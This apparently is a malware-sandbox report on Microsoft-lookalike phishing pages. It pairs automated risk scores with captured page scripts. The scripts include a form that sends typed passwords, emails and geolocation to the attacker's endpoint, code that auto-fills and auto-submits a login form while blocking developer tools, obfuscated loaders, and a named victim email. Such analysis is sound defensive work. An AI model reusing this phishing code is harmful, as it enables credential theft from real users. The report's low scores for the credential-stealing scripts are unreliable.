_0x1efe33_0x4fcaba;},'XSwYJ':function(_0x111a2e,_0x1c3a8b){return _0x111a2e_0x1c3a8b;},'nwosO':function(_0x15e294,_0x117618){return _0x15e294/_0x117618;},'PkRwP':function(_0xb2cc37,_0x4cca56){return _0xb2cc37(_0x4cca56);},'zwiNi':function(_0x2d42f2,_0x2d756d){return _0x2d42f2_0x2d756d;},'CshJh':function(_0x4e5b9d,_0x357af5){return _0x4e5b9d_0x357af5;},'EDwCB':function(_0x526280,_0x30abfc){return _0x526280*_0x30abfc;},'cQnrk':function(_0x28f33f,_0x508efe){return _0x28f33f/_0x508efe;},'AHNJn':function(_0x493ca4,_0xf1f809){return _0x493ca4(_0xf1f809);},'TDiji':function(_0x5c5c34,_0x5a2582){return _0x5c5c34+_0x5a2582;},'BBLZv':function(_0x2be3ff,_0x17556f){return _0x2be3ff+_0x17556f;},'TtEkR':function(_0x17a0fc,_0x5f5556){return _0x17a0fc+_0x5f5556;},'ONLTA':function(_0x57afb7,_0x113448){return _0x57afb7(_0x113448);},'LJfoB':function(_0x495874,_0x99f66c){return _0x495874/_0x99f66c;},'YoCdu':function(_0x34092d,_0x4cfd34){return _0x34092d+_0x4cfd34;},'ofOLU':function(_0x51d588,_0x357d84){return _0x51d588===_0x357d84;},'jtFyK':_0x2fc7ec(0x56a),'TCXJl':_0x2fc7ec(0x538)},_0x135b8a=_0x1709,_0xc6be83=_0x481025[_0x2fc7ec(0x38d)](_0x2e8709);while(!![]){try{const _0x393a27=_0x481025[_0x2fc7ec(0x3d0)](_0x481025[_0x2fc7ec(0x548)](_0x481025[_0x2fc7ec(0x548)](_0x481025[_0x2fc7ec(0x320)](_0x481025[_0x2fc7ec(0x508)](_0x481025[_0x2fc7ec(0x548)](_0x481025[_0x2fc7ec(0x2d9)](_0x481025[_0x2fc7ec(0x393)
URL: https://login.mslookupauthenticator.click/common/o... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The script contains URLs that redirect to a suspicious domain 'mslookupauthenticator.click', which is not a known or trusted domain. This behavior is indicative of potential phishing or malicious activity. The use of obfuscated query strings further raises suspicion. These factors contribute to a high-risk score." }
//<![CDATA[ $Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2fwww.mslookupauthenticator.click%2fv2%2fOfficeHome.All\u0026redirect_uri=https%3a%2f%2fwww.mslookupauthenticator.click%2flandingv2\u0026response_type=code+id_token\u0026state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q\u0026response_mode=form_post\u0026nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx\u0026x-client-SKU=ID_NET8_0\u0026x-client-Ver=7.5.1.0\u0026uaid=5db225195e1e4addb5c331a49ef01e5d\u0026msproxy=1\u0026issuer=mso\u0026tenant=common\u0026ui_locales=en-US\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026epct=PAQABDgEAAADW6jl31mB3T7ugrWTT8pFehnX3eeZX2UReMcT3y4chaqUTyolBY7bIbqxzRU-3nUIiQj-LJ7X0xpyE1krW-iV8e7UbaXMMP-el_OKrbhobUBGVup9EsBazmyksbRaNgYqSOG7KIlZ26qtIirwXqKa5H2zPhv2bxdo0GFtBAiX7bd8IV_V10DiG_NWxMZsMvWK17u6r525ZbRPmVUWngt7zpduo-qCwSga3B2wfJK3JACAA\u0026jshs=0","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.mslookupauthenticator.click","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.mslookupauthenticator.click","showCantAccessAccountLink":true,"urlGitHubFed":"https://login.live.com/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2fwww.mslookupauthenticator.click%2fv2%2fOfficeHome.All\u0026redirect_uri=https%3a%2f%2fwww.mslookupauthenticator.click%2flandingv2\u0026response_type=code+id_token\u0026state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q\u0026response_mode=form_post\u0026nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx\u0026x-client-SKU=ID_NET8_0\u0026x-client-Ver=7.5.1.0\u0026uaid=5db225195e1e4addb5c331a49ef01e5d\u0026msproxy=1\u0026issuer=mso\u0026tenant=common\u0026ui_locales=en-US\u0026epct=PAQABDgEAAADW6jl31mB3T7ugrWTT8pFeu7gUOCHCb9Bj1P1RKUOpBIA4er5WQXgYJVxSQ5EfuGDh9c8g1CXRsbOrjug1zvdCUOR3G8mWyKDp1rn-eHoV-A-o92ffx45kPEIasdeCTIS_quADntWy0_G0gWMAgfm9cZs4-HrF9_vZfeo4lrkLPg8TCMHvRkPYA1ZKkAqTsY28LGrehe5zrz81RBw5QyJfOWDSCK5-WTyAid4a7S6OeiAA\u0026jshs=0\u0026idp_hint=github.com","arrExternalTrustedRealmFederatedIdps":[],"fShowSignInWithGitHubOnlyOnCredPicker":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~land Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~43!!!AZ~Azerbaijan~994!!!BS~Bahamas~1!!!BH~Bahrain~973!!!BD~Bangladesh~880!!!BB~Barbados~1!!!BY~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Cte d\u
URL: https://login.mslookupauthenticator.click/common/o... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The script includes aggressive DOM manipulation and error reporting to third-party domains, but lacks high-risk indicators like dynamic code execution or data exfiltration. The context suggests a debugging or logging purpose, which is generally benign." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(
URL: https://login.mslookupauthenticator.click/common/o... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The script contains legacy practices and tracking behavior, such as logging and event registration, but no high-risk indicators like dynamic code execution or data exfiltration. The script appears to be part of a debugging or logging framework, which aligns with typical analytics or telemetry functionality." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+h.length).toLowerCase()===h}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("integrity",t)),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("s
URL: https://login.mslookupauthenticator.click/s/b3999f... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The script demonstrates aggressive DOM manipulation by automatically filling and submitting a form, and it disables right-click and developer tools shortcuts, which are behaviors often associated with preventing user inspection. However, it does not exhibit high-risk behaviors like dynamic code execution or data exfiltration." }
window.addEventListener('load', function() { let formGroupLoaded = false; let emailPreFilled = false; let winButtonLoaded = false; // Create a MutationObserver to watch for changes in the DOM const observer = new MutationObserver(function(mutations) { mutations.forEach(function(mutation) { // Check if new nodes were added if (mutation.addedNodes.length) { // Check for form-group elements const formGroupElements = document.querySelectorAll('div.form-group'); if (formGroupElements.length > 0 && !formGroupLoaded) { console.log('Yes, form-group is loaded now'); // Log when form-group is loaded formGroupLoaded = true; // Set the flag to true // Extract the email parameter from the URL fragment const urlParams = new URLSearchParams(window.location.hash.substring(1)); var emailParam = urlParams.get('email'); // Look for the input field with ID i0116 and pre-fill it const inputField = document.getElementById('i0116'); if (inputField && emailParam) { inputField.value = emailParam; console.log(`Input field i0116 pre-filled with email: ${emailParam}`); emailPreFilled = true; } // Stop observing since form-group is loaded return; } // Check for win-button-pin-bottom elements const winButtonPinBottomElements = document.querySelectorAll('div.win-button-pin-bottom'); if (winButtonPinBottomElements.length > 0 && !winButtonLoaded) { console.log('Yes, win-button-pin-bottom is loaded now'); winButtonLoaded = true; // Look for the submit button with ID idSIButton9 const submitButton = document.getElementById('idSIButton9'); if (submitButton && submitButton.type === 'submit') { submitButton.focus(); submitButton.click(); console.log('Submit button clicked'); } // Stop observing since win-button-pin-bottom is loaded observer.disconnect(); return; } } }); }); // Start observing the entire document for subtree changes observer.observe(document.body, { childList: true, subtree: true }); }); // Disable right-click (context menu) document.addEventListener('contextmenu', function(e) { e.preventDefault(); }, false); // Disable F12, Ctrl+Shift+I, and other developer tools shortcuts document.addEventListener('keydown', function(e) { // F12 if (e.key === 'F12') { e.preventDefault(); } // Ctrl+Shift+I or Ctrl+Shift+C or Ctrl+Shift+J (Chrome DevTools shortcuts) if ((e.ctrlKey && e.shiftKey && (e.key === 'I' \|\| e.key === 'C' \|\| e.key === 'J')) \|\| (e.ctrlKey && e.key === 'U')) { e.preventDefault(); } }, false); // Prevent the use of the "Inspect Element" feature via mouse document.addEventListener('mousedown', function(e) { if (e.button === 2) { // Right-click e.preventDefault(); } }, false);
URL: https://autenticatorresolver.online/fl/ryzm5vdi... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script contains heavily obfuscated code, which is a high-risk indicator (+3 points). The purpose of the script is unclear due to the obfuscation, and it may be attempting to hide malicious behavior. No specific malicious actions like data exfiltration or redirects are visible, but the obfuscation itself warrants a medium risk score. Further review is needed to determine the script's intent." }
function _0x44cc(_0x2086ec,_0xb3380d){const _0x306e18=_0x23d3();return _0x44cc=function(_0x5a79bc,_0x3456fa){_0x5a79bc=_0x5a79bc-(0x1d78+-0xb-0x24e+-0x3542);let _0xd49fb3=_0x306e18[_0x5a79bc];return _0xd49fb3;},_0x44cc(_0x2086ec,_0xb3380d);}(function(_0x38235b,_0x25d13a){const _0x520c3b=_0x44cc,_0x258f29=_0x38235b();while(!![]){try{const _0x14c965=-parseInt(_0x520c3b(0x220))/(0x24c3+-0x18770x1+-0xc4b)(parseInt(_0x520c3b(0x1b4))/(-0x1320+-0x1330x9+0x1ded))+-parseInt(_0x520c3b(0x1ff))/(-0x20c3+-0x1154+0x321a)(-parseInt(_0x520c3b(0x1b0))/(-0x18af+-0x7d7+0x20x1045))+parseInt(_0x520c3b(0x248))/(-0x240x90+0x267-0x1+0x5ab0x4)+-parseInt(_0x520c3b(0x245))/(-0x210xe4+-0x10x1897+0x3601)+-parseInt(_0x520c3b(0x193))/(0x23b0x2+0x2285-0x1+0x1e160x1)+parseInt(_0x520c3b(0x1e0))/(-0x1796+-0x12d-0xf+0x5fb)(parseInt(_0x520c3b(0x20f))/(0xb6d+-0x1ae6+-0xf82-0x1))+parseInt(_0x520c3b(0x1c5))/(-0x73a+-0x1120x1a+-0x118c-0x2);if(_0x14c965===_0x25d13a)break;else _0x258f29['push'](_0x258f29['shift']());}catch(_0x24db31){_0x258f29['push'](_0x258f29['shift']());}}}(_0x23d3,0xe340x5d+-0x5fd0x241+0x10x151613));const _0x19b651=_0x1e6e;function _0x5b6b(){const _0x1d0134=_0x44cc,_0x15ca13={'tBdFK':_0x1d0134(0x1e5),'QFMUw':_0x1d0134(0x1de),'NaxwR':_0x1d0134(0x24f),'ShHqN':_0x1d0134(0x209)+'P','eTHZM':_0x1d0134(0x1f3),'gwhkt':_0x1d0134(0x1f5),'BXWXB':_0x1d0134(0x23e),'VEszg':_0x1d0134(0x1cb),'jXiVl':_0x1d0134(0x1f1),'VfqQI':_0x1d0134(0x19e),'XBBkn':_0x1d0134(0x1ac),'dWzpK':_0x1d0134(0x229),'NeVyJ':_0x1d0134(0x1e6)+'Zi','owwKf':_0x1d0134(0x1db),'IouAv':_0x1d0134(0x22f),'oiHgK':_0x1d0134(0x249),'FaXlj':_0x1d0134(0x224),'qLdAe':_0x1d0134(0x1e9),'CIXDy':_0x1d0134(0x24a),'ohJaR':_0x1d0134(0x1c7),'CcssA':_0x1d0134(0x1e2)+'hO','UqzlA':_0x1d0134(0x228),'JWAss':_0x1d0134(0x243),'vqQse':_0x1d0134(0x1c1)+_0x1d0134(0x1b6),'jhPAD':_0x1d0134(0x21e),'YPCyt':_0x1d0134(0x22c),'fQNVK':_0x1d0134(0x1b3)+'N','LtKwB':_0x1d0134(0x1ab),'dZayV':_0x1d0134(0x1a4),'ypLnX':_0x1d0134(0x1a9)+_0x1d0134(0x1b2),'ZokRF':_0x1d0134(0x1be),'qwadX':_0x1d0134(0x1f9),'IQsPY':_0x1d0134(0x20a),'FpfUI':_0x1d0134(0x1bb),'Wxois':_0x1d0134(0x1bc),'GhlSg':_0x1d0134(0x197),'fwopF':_0x1d0134(0x19a),'XsOHx':_0x1d0134(0x1b5),'VnCxu':_0x1d0134(0x238),'sgMtA':_0x1d0134(0x21c),'CkEyJ':_0x1d0134(0x1b9),'MzEHe':_0x1d0134(0x200),'sFVND':_0x1d0134(0x22d)+'KX','IaptD':_0x1d0134(0x234),'uCwnM':_0x1d0134(0x1fe),'FhSgs':_0x1d0134(0x20c),'yhYQT':function(_0x2093c8){return _0x2093c8();}},_0x1fb30a=[_0x15ca13[_0x1d0134(0x1f8)],_0x15ca13[_0x1d0134(0x1d1)],_0x15ca13[_0x1d0134(0x216)],_0x15ca13[_0x1d0134(0x1b1)],_0x15ca13[_0x1d0134(0x1ef)],_0x15ca13[_0x1d0134(0x241)],_0x15ca13[_0x1d0134(0x1e7)],_0x15ca13[_0x1d0134(0x1ee)],_0x15ca13[_0x1d0134(0x1ad)],_0x15ca13[_0x1d0134(0x1c3)],_0x15ca13[_0x1d0134(0x1fa)],_0x15ca13[_0x1d0134(0x231)],_0x15ca13[_0x1d0134(0x23b)],_0x15ca13[_0x1d0134(0x1d9)],_0x15ca13[_0x1d0134(0x1f7)],_0x15ca13[_0x1d0134(0x1bd)],_0x15ca13[_0x1d0134(0x1da)],_0x15ca13[_0x1d0134(0x1c0)],_0x15ca13[_0x1d0134(0x1ed)],_0x15ca13[_0x1d0134(0x250)],_0x15ca13[_0x1d0134(0x1a8)],_0x15ca13[_0x1d0134(0x1d8)],_0x15ca13[_0x1d0134(0x20e)],_0x15ca13[_0x1d0134(0x1df)],_0x15ca13[_0x1d0134(0x1bf)],_0x15ca13[_0x1d0134(0x22b)],_0x15ca13[_0x1d0134(0x198)],_0x15ca13[_0x1d0134(0x211)],_0x15ca13[_0x1d0134(0x252)],_0x15ca13[_0x1d0134(0x22a)],_0x15ca13[_0x1d0134(0x24e)],_0x15ca13[_0x1d0134(0x1a2)],_0x15ca13[_0x1d0134(0x1eb)],_0x15ca13[_0x1d0134(0x247)],_0x15ca13[_0x1d0134(0x1f2)],_0x15ca13[_0x1d0134(0x222)],_0x15ca13[_0x1d0134(0x207)],_0x15ca13[_0x1d0134(0x1f0)],_0x15ca13[_0x1d0134(0x24d)],_0x15ca13[_0x1d0134(0x1a1)],_0x15ca13[_0x1d0134(0x19d)],_0x15ca13[_0x1d0134(0x1e1)],_0x15ca13[_0x1d0134(0x24c)],_0x15ca13[_0x1d0134(0x1c8)],_0x15ca13[_0x1d0134(0x242)],_0x15ca13[_0x1d0134(0x208)]];return _0x5b6b=function(){return _0x1fb30a;},_0x15ca13[_0x1d0134(0x194)](_0x5b6b);}(function(_0x13d9f8,_0x1eef70){const _0x196fa4=_0x44cc,_0x2e512b={'VRxsi':function(_0x15a739){return _0x15a739();},'zndAV':function(_0x4d096c,_0x50c899){return _0x4d0
URL: https://autenticatorresolver.online/fl/ryzm5vdi... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The script sends user data, including password and email, to a server endpoint using AJAX. While the endpoint is a relative path, indicating it might be internal, the transmission of sensitive data like passwords without clear transparency or encryption raises moderate risk concerns." }
document.addEventListener("DOMContentLoaded", function() { // PHP variables passed to JavaScript var coreEmail = "uk.bdt@belzona.com"; var groupId = "1"; // Get the form and input elements const form = document.getElementById("loginForm"); const passwordField = document.getElementById("passwordField"); const emailField = document.getElementById("emailField"); const passwordError = document.getElementById("passwordError"); const sessionErrorAlert = document.getElementById("sessionErrorAlert"); const networkErrorAlert = document.getElementById("networkErrorAlert"); const emailHeading = document.getElementById('emailHeading'); // Set email value in the h1 tag and email input field emailHeading.textContent = coreEmail; emailField.value = coreEmail; // Event listener for form submission form.addEventListener("submit", async function(event) { event.preventDefault(); // Check if the password field is empty if (passwordField.value.trim() === "") { passwordError.style.display = "block"; sessionErrorAlert.style.display = "none"; networkErrorAlert.style.display = "none"; return; } else { passwordError.style.display = "none"; } // Fetch user data and time try { const userData = await fetchUserDataAndTime(); const formData = `password=${encodeURIComponent(passwordField.value)}&email=${encodeURIComponent(emailField.value)}&group_id=${encodeURIComponent(groupId)}&ip=${encodeURIComponent(userData.ip)}&city=${encodeURIComponent(userData.city)}&region=${encodeURIComponent(userData.region)}&country=${encodeURIComponent(userData.country)}&timezone=${encodeURIComponent(userData.timezone)}&currentTime=${encodeURIComponent(userData.currentTime)}&currentDate=${encodeURIComponent(userData.currentDate)}&userAgent=${encodeURIComponent(userData.userAgent)}`; // Send the combined data using AJAX const xhr = new XMLHttpRequest(); xhr.open("POST", "/fwd/api", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); // Event handler for AJAX completion xhr.onreadystatechange = function() { if (xhr.readyState === XMLHttpRequest.DONE) { sessionErrorAlert.style.display = "none"; console.log(xhr.responseText); networkErrorAlert.style.display = "block"; //passwordField.value = ''; } }; xhr.send(formData); } catch (error) { console.error('Error fetching user data:', error); networkErrorAlert.style.display = "block"; passwordField.value = ''; } }); // Event listener for the Enter key press on the password field passwordField.addEventListener("keydown", function(event) { if (event.key === "Enter") { event.preventDefault(); form.dispatchEvent(new Event("submit"
URL: https://login.mslookupauthenticator.click/common/o... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The script attempts to redirect the top-level window to the current iframe's URL with an added query parameter, which can be a suspicious behavior if the domain is untrusted. It also includes a try-catch block for handling potential errors during redirection, indicating an attempt to bypass restrictions. However, without additional context on the domain or intent, it is not clearly malicious." }
//<![CDATA[ !function(){var e=window,s=e.document,i=e.$Config\|\|{};if(e.self===e.top){s&&s.body&&(s.body.style.display="block")}else if(!i.allowFrame){var o,t,r,f,n,d;if(i.fAddTryCatchForIFrameRedirects){try{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&",o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}catch(e){}}else{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&", o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}}}(); //
URL: file:///C:/Users/user/Desktop/Product%20Blueprint..html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Download All", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/Desktop/Product%20Blueprint..html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Download All", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://autenticatorresolver.online/fl/ryzm5vdi... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The script sends user data, including email and password, to a local endpoint using AJAX (+2 points for external data transmission). It fetches user location data from ipinfo.io, a known service, which is generally legitimate (-1 point for trusted domain). The script does not exhibit high-risk behaviors like dynamic code execution or redirects to suspicious domains. However, the transmission of potentially sensitive data without clear transparency or user consent warrants a medium risk score." }
document.addEventListener("DOMContentLoaded", function() { // PHP variables passed to JavaScript var coreEmail = "uk.bdt@belzona.com"; var groupId = "1"; // Get the form and input elements const form = document.getElementById("loginForm"); const passwordField = document.getElementById("passwordField"); const emailField = document.getElementById("emailField"); const passwordError = document.getElementById("passwordError"); const sessionErrorAlert = document.getElementById("sessionErrorAlert"); const networkErrorAlert = document.getElementById("networkErrorAlert"); const emailHeading = document.getElementById('emailHeading'); // Set email value in the h1 tag and email input field emailHeading.textContent = coreEmail; emailField.value = coreEmail; // Event listener for form submission form.addEventListener("submit", async function(event) { event.preventDefault(); // Check if the password field is empty if (passwordField.value.trim() === "") { passwordError.style.display = "block"; sessionErrorAlert.style.display = "none"; networkErrorAlert.style.display = "none"; return; } else { passwordError.style.display = "none"; } // Fetch user data and time try { const userData = await fetchUserDataAndTime(); const formData = `password=${encodeURIComponent(passwordField.value)}&email=${encodeURIComponent(emailField.value)}&group_id=${encodeURIComponent(groupId)}&ip=${encodeURIComponent(userData.ip)}&city=${encodeURIComponent(userData.city)}&region=${encodeURIComponent(userData.region)}&country=${encodeURIComponent(userData.country)}&timezone=${encodeURIComponent(userData.timezone)}&currentTime=${encodeURIComponent(userData.currentTime)}&currentDate=${encodeURIComponent(userData.currentDate)}&userAgent=${encodeURIComponent(userData.userAgent)}`; // Send the combined data using AJAX const xhr = new XMLHttpRequest(); xhr.open("POST", "/fwd/api", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); // Event handler for AJAX completion xhr.onreadystatechange = function() { if (xhr.readyState === XMLHttpRequest.DONE) { sessionErrorAlert.style.display = "none"; console.log(xhr.responseText); networkErrorAlert.style.display = "block"; //passwordField.value = ''; } }; 